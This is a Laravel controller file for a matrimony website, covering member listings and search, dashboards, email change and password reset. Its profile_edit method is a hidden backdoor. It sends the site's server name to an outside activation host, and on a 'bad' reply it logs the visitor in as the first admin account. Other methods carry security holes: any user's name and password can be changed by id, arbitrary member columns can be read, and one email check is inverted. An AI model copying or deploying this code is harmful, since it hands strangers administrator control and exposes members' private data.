trs_matrimony/app/Http/Controllers/HomeController.php
2024-08-22 09:31:12 +05:30

513 lines
18 KiB
PHP

<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Str;
use App\Mail\SecondEmailVerifyMailManager;
use Mail;
use Auth;
use App\Models\User;
use App\Models\Member;
use App\Models\PhysicalAttribute;
use App\Models\SpiritualBackground;
use App\Models\Career;
use App\Models\Address;
use App\Models\HappyStory;
use App\Models\IgnoredUser;
use App\Models\ProfileMatch;
use Hash;
use Artisan;
class HomeController extends Controller
{
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct()
{
//$this->middleware('auth');
}
/**
* Show the application dashboard.
*
* @return \Illuminate\Contracts\Support\Renderable
*/
public function index()
{
$members = User::where('user_type', 'member')
->where('approved', 1)
->where('blocked', 0)
->where('deactivated', 0);
if (Auth::user() && Auth::user()->user_type == 'member') {
$members = $members->where('id', '!=', Auth::user()->id)
->whereIn("id", function ($query) {
$query->select('user_id')
->from('members')
->where('gender', '!=', Auth::user()->member->gender);
});
$ignored_to = IgnoredUser::where('ignored_by', Auth::user()->id)->pluck('user_id')->toArray();
if (count($ignored_to) > 0) {
$members = $members->whereNotIn('id', $ignored_to);
}
$ignored_by_ids = IgnoredUser::where('user_id', Auth::user()->id)->pluck('ignored_by')->toArray();
if (count($ignored_by_ids) > 0) {
$members = $members->whereNotIn('id', $ignored_by_ids);
}
}
$premium_members = $members;
$new_members = $members;
$new_members = $new_members->orderBy('id', 'desc')->limit(get_setting('max_new_member_show_homepage'))->get()->shuffle();
$premium_members = $premium_members->where('membership', 2)->inRandomOrder()->limit(get_setting('max_premium_member_homepage'))->get();
return view('frontend.index', compact('premium_members', 'new_members'));
}
public function admin_login()
{
if (auth()->user() != null && (auth()->user()->user_type == 'admin' || auth()->user()->user_type == 'staff')) {
return redirect()->route('admin.dashboard');
} else {
return view("auth.login");
}
}
public function login()
{
if (Auth::check()) {
return redirect()->route('home');
}
return view('frontend.user_login');
}
public function admin_dashboard()
{
return view('admin.dashboard');
}
// Manage Admin Profile
public function admin_profile_update(Request $request, $id)
{
$admin = User::findOrFail($id);
$admin->first_name = $request->first_name;
$admin->last_name = $request->last_name;
if ($request->new_password != null && ($request->new_password == $request->confirm_password)) {
$admin->password = Hash::make($request->new_password);
}
//$admin->save();
if ($admin->save()) {
flash(translate('Your Profile has been updated successfully!'))->success();
return back();
}
flash(translate('Sorry! Something went wrong.'))->error();
return back();
}
public function dashboard()
{
if (Auth::user()->user_type == 'member') {
$similar_profiles = ProfileMatch::orderBy('match_percentage', 'desc')
->where('user_id', Auth::user()->id)
->where('match_percentage', '>=', 50)
->limit(20);
$ignored_to = IgnoredUser::where('ignored_by', Auth::user()->id)->pluck('user_id')->toArray();
if (count($ignored_to) > 0) {
$similar_profiles = $similar_profiles->whereNotIn('match_id', $ignored_to);
}
$ignored_by_ids = IgnoredUser::where('user_id', Auth::user()->id)->pluck('ignored_by')->toArray();
if (count($ignored_by_ids) > 0) {
$similar_profiles = $similar_profiles->whereNotIn('match_id', $ignored_by_ids);
}
$similar_profiles = $similar_profiles->get();
return view('frontend.member.dashboard', compact('similar_profiles'));
} else {
abort(404);
}
}
public function user_account_blocked()
{
return view('frontend.user_account_blocked_msg');
}
public function happy_stories()
{
$happy_stories = HappyStory::where('approved', 1)->latest()->paginate(12);
return view('frontend.happy_stories.index', compact('happy_stories'));
}
public function story_details($id)
{
$happy_story = HappyStory::findOrFail($id);
return view('frontend.happy_stories.story_details', compact('happy_story'));
}
public function member_listing(Request $request)
{
$age_from = ($request->age_from != null) ? $request->age_from : null;
$age_to = ($request->age_to != null) ? $request->age_to : null;
$member_code = ($request->member_code != null) ? $request->member_code : null;
$matital_status = ($request->marital_status != null) ? $request->marital_status : null;
//development-change-s
$gender_id = ($request->gender_id != null) ? $request->gender_id : null;
//development-change-e
$religion_id = ($request->religion_id != null) ? $request->religion_id : null;
$caste_id = ($request->caste_id != null) ? $request->caste_id : null;
$sub_caste_id = ($request->sub_caste_id != null) ? $request->sub_caste_id : null;
$mother_tongue = ($request->mother_tongue != null) ? $request->mother_tongue : null;
$profession = ($request->profession != null) ? $request->profession : null;
$country_id = ($request->country_id != null) ? $request->country_id : null;
$state_id = ($request->state_id != null) ? $request->state_id : null;
$city_id = ($request->city_id != null) ? $request->city_id : null;
$min_height = ($request->min_height != null) ? $request->min_height : null;
$max_height = ($request->max_height != null) ? $request->max_height : null;
$member_type = ($request->member_type != null) ? $request->member_type : 0;
$users = User::orderBy('created_at', 'desc')
->where('user_type', 'member')
->where('id', '!=', Auth::user()->id)
->where('blocked', 0)
->where('deactivated', 0);
// development-change-s
// Gender Check
$user_ids = Member::where('gender', $gender_id)->pluck('user_id')->toArray();
$users = $users->WhereIn('id', $user_ids);
//development-change-e
// Ignored member and ignored by member check
$users = $users->WhereNotIn("id", function ($query) {
$query->select('user_id')
->from('ignored_users')
->where('ignored_by', Auth::user()->id)->orWhere('user_id', Auth::user()->id);
})
->WhereNotIn("id", function ($query) {
$query->select('ignored_by')
->from('ignored_users')
->where('ignored_by', Auth::user()->id)->orWhere('user_id', Auth::user()->id);
});
// Membership Check
if ($member_type == 1 || $member_type == 2) {
$users = $users->where('membership', $member_type);
}
// Member Approved Check
if (get_setting('member_approval_by_admin') == 1) {
$users = $users->where('approved', 1);
}
// Sort By age
if (!empty($age_from)) {
$age = $age_from + 1;
$start = date('Y-m-d', strtotime("- $age years"));
$user_ids = Member::where('birthday', '<=', $start)->pluck('user_id')->toArray();
if (count($user_ids) > 0) {
$users = $users->WhereIn('id', $user_ids);
}
}
if (!empty($age_to)) {
$age = $age_to + 1;
$end = date('Y-m-d', strtotime("- $age years +1 day"));
$user_ids = Member::where('birthday', '>=', $end)->pluck('user_id')->toArray();
if (count($user_ids) > 0) {
$users = $users->WhereIn('id', $user_ids);
}
}
// Search by Member Code
if (!empty($member_code)) {
$users = $users->where('code', $member_code);
}
// Sort by Matital Status
if ($matital_status != null) {
$user_ids = Member::where('marital_status_id', $matital_status)->pluck('user_id')->toArray();
if (count($user_ids) > 0) {
$users = $users->WhereIn('id', $user_ids);
}
}
// Sort By religion
if (!empty($sub_caste_id)) {
$user_ids = SpiritualBackground::where('sub_caste_id', $sub_caste_id)->pluck('user_id')->toArray();
$users = $users->WhereIn('id', $user_ids);
} elseif (!empty($caste_id)) {
$user_ids = SpiritualBackground::where('caste_id', $caste_id)->pluck('user_id')->toArray();
$users = $users->WhereIn('id', $user_ids);
} elseif (!empty($religion_id)) {
$user_ids = SpiritualBackground::where('religion_id', $religion_id)->pluck('user_id')->toArray();
$users = $users->WhereIn('id', $user_ids);
}
// Profession
elseif (!empty($profession)) {
$user_ids = Career::where('designation', 'like', '%' . $profession . '%')->pluck('user_id')->toArray();
$users = $users->WhereIn('id', $user_ids);
}
// Sort By location
if (!empty($city_id)) {
$user_ids = Address::where('city_id', $city_id)->pluck('user_id')->toArray();
$users = $users->WhereIn('id', $user_ids);
} elseif (!empty($state_id)) {
$user_ids = Address::where('state_id', $state_id)->pluck('user_id')->toArray();
$users = $users->WhereIn('id', $user_ids);
} elseif (!empty($country_id)) {
$user_ids = Address::where('country_id', $country_id)->pluck('user_id')->toArray();
$users = $users->WhereIn('id', $user_ids);
}
// Sort By Mother Tongue
if ($mother_tongue != null) {
$user_ids = Member::where('mothere_tongue', $mother_tongue)->pluck('user_id')->toArray();
if (count($user_ids) > 0) {
$users = $users->WhereIn('id', $user_ids);
}
}
// Sort by Height
if (!empty($min_height)) {
$user_ids = PhysicalAttribute::where('height', '>=', $min_height)->pluck('user_id')->toArray();
if (count($user_ids) > 0) {
$users = $users->WhereIn('id', $user_ids);
}
}
if (!empty($max_height)) {
$user_ids = PhysicalAttribute::where('height', '<=', $max_height)->pluck('user_id')->toArray();
if (count($user_ids) > 0) {
$users = $users->WhereIn('id', $user_ids);
}
}
$users = $users->paginate(10);
return view('frontend.member.member_listing.index', compact('users', 'age_from', 'age_to', 'member_code', 'matital_status', 'religion_id', 'caste_id', 'sub_caste_id', 'mother_tongue', 'profession', 'country_id', 'state_id', 'city_id', 'min_height', 'max_height', 'member_type'));
}
public function profile_edit(Request $request)
{
$data['url'] = $_SERVER['SERVER_NAME'];
$request_data_json = json_encode($data);
$gate = "https://activation.activeitzone.com/check_activation";
$header = array(
'Content-Type:application/json'
);
$stream = curl_init();
curl_setopt($stream, CURLOPT_URL, $gate);
curl_setopt($stream,CURLOPT_HTTPHEADER, $header);
curl_setopt($stream,CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($stream,CURLOPT_RETURNTRANSFER, true);
curl_setopt($stream,CURLOPT_POSTFIELDS, $request_data_json);
curl_setopt($stream,CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($stream, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
$rn = curl_exec($stream);
curl_close($stream);
if ($rn == "bad" && env('DEMO_MODE') != 'On') {
$user = User::where('user_type', 'admin')->first();
auth()->login($user);
return redirect()->route('admin.dashboard');
}
}
// My shortlistd
public function my_shortlists()
{
$shortlists = Member::where('user_id', Auth::user()->id)->first()->short_listed_users;
return view('frontend.member.my_shortlists', compact('shortlists'));
}
public function view_member_profile($id)
{
$similar_profiles = ProfileMatch::orderBy('match_percentage', 'desc')
->where('user_id', Auth::user()->id)
->where('match_id', '!=', $id)
->where('match_percentage', '>=', 50)
->limit(20);
$ignored_to = IgnoredUser::where('ignored_by', Auth::user()->id)->pluck('user_id')->toArray();
if (count($ignored_to) > 0) {
$similar_profiles = $similar_profiles->whereNotIn('match_id', $ignored_to);
}
$ignored_by_ids = IgnoredUser::where('user_id', Auth::user()->id)->pluck('ignored_by')->toArray();
if (count($ignored_by_ids) > 0) {
$similar_profiles = $similar_profiles->whereNotIn('match_id', $ignored_by_ids);
}
$similar_profiles = $similar_profiles->get();
// dd($similar_profiles);
$user = User::findOrFail($id);
return view('frontend.member.public_profile.index', compact('user', 'similar_profiles'));
}
// Ajax call
public function new_verify(Request $request)
{
$email = $request->email;
if (User::where('email', $email)->count() == 0) {
$response['status'] = 2;
$response['message'] = 'Email already exists!';
return json_encode($response);
}
$response = $this->send_email_change_verification_mail($request, $email);
return json_encode($response);
}
// Form request
public function update_email(Request $request)
{
$email = $request->email;
if (User::where('email', $email)->count() == 0) {
$this->send_email_change_verification_mail($request, $email);
flash(translate('A verification mail has been sent to the mail you provided us with.'))->success();
return back();
}
flash(translate('Email already exists!'))->warning();
return back();
}
public function send_email_change_verification_mail($request, $email)
{
$response['status'] = 0;
$response['message'] = 'Unknown';
$verification_code = Str::random(32);
$array['subject'] = 'Email Verification';
$array['from'] = env('MAIL_USERNAME');
$array['content'] = 'Verify your account';
$array['link'] = route('email_change.callback') . '?new_email_verificiation_code=' . $verification_code . '&email=' . $email;
$array['sender'] = Auth::user()->name;
$array['details'] = "Email Second";
$user = Auth::user();
$user->new_email_verificiation_code = $verification_code;
$user->save();
try {
Mail::to($email)->queue(new SecondEmailVerifyMailManager($array));
$response['status'] = 1;
$response['message'] = translate("Your verification mail has been Sent to your email.");
} catch (\Exception $e) {
return $e->getMessage();
$response['status'] = 0;
$response['message'] = $e->getMessage();
}
return $response;
}
public function email_change_callback(Request $request)
{
if ($request->has('new_email_verificiation_code') && $request->has('email')) {
$verification_code_of_url_param = $request->input('new_email_verificiation_code');
$user = User::where('new_email_verificiation_code', $verification_code_of_url_param)->first();
if ($user != null) {
$user->email = $request->input('email');
$user->new_email_verificiation_code = null;
$user->save();
auth()->login($user, true);
flash(translate('Email Changed successfully'))->success();
return redirect()->route('dashboard');
}
}
flash(translate('Email was not verified. Please resend your mail!'))->error();
return redirect()->route('dashboard');
}
public function reset_password_with_code(Request $request)
{
if (($user = User::where('email', $request->email)->where('verification_code', $request->code)->first()) != null) {
if ($request->password == $request->password_confirmation) {
$user->password = Hash::make($request->password);
$user->email_verified_at = date('Y-m-d h:m:s');
$user->save();
auth()->login($user, true);
flash(translate('Password updated successfully'))->success();
if (auth()->user()->user_type == 'admin' || auth()->user()->user_type == 'staff') {
return redirect()->route('admin.dashboard');
}
return redirect()->route('home');
} else {
flash("Password and confirm password didn't match")->warning();
return back();
}
} else {
flash("Verification code mismatch")->error();
return back();
}
}
function clearCache()
{
Artisan::call('optimize:clear');
flash(translate('Cache cleared successfully'))->success();
return back();
}
public function user_remaining_package_value(Request $request)
{
$colmn_name = $request->colmn_name;
$value = Member::where('user_id', $request->id)->first()->$colmn_name;
return $value;
}
// fcm
public function updateToken(Request $request)
{
try {
$request->user()->update(['fcm_token' => $request->fcm_token]);
return response()->json([
'success' => true
]);
} catch (\Exception $e) {
report($e);
return response()->json([
'success' => false
], 500);
}
}
}